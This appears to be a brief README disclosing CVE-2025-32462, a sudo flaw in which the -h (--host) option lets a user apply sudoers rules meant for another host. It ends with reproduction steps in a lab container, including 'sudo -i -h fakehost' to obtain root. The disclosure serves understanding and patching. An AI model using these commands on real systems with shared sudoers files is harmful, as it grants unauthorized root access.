cve-2025-32462

sudo/NEWS at SUDO_1_8_8 · sudo-project/sudo · GitHub

The sudo -h (--host) documentation states that -h can only be used with -l. In later updates, sudo -h was allowed to be used with -e, -i, etc.

sudo --host(-h) <username> -l(--list)

/etc/sudoer.d is used to check what permissions a user has on a system. These permissions may be bypassed, allowing a user to escalate privileges from one system to those they might have on another system. This is especially impactful for systems that share a single sudoers configuration across multiple computers or use network-based user directories (such as LDAP) to provide system sudoers rules.

In summary: sudo's h/--host option does not adhere to the principle of least privilege, failing to validate host rule boundaries in non--l scenarios (such as command execution). An attacker can configure malicious rules in the /etc/sudoer.d file.

Impact

Mainly affects systems of administrators who use the same sudoers file across multiple machines.

Conditions

The vulnerability exploitation requires two conditions:

• The attacker obtains an authenticated user
• The system is not under default configuration, relying on additional rules present in the sudoers file

Example:

The sudoers file contains rules defining the user's privileges on different systems.

Alice hostA: some Privilege

Bob hostB: some Privilege

Bob logs into hostA, then runs the command sudo -h hostB commandA

Reproduction Steps

git clone https://github.com/SpongeBob-369/cve-2025-32462.git
cd cve-2025-32462
chmod +x run.sh
./run.sh
# after entering the contain Ubuntu
sudo -l
# then prompt you to enter your password, but "we" don't know.
sudo -l -h fakehost    # Check the permissions user ubuntu have in host named  fakehost
sudo -i -h fakehost    # get root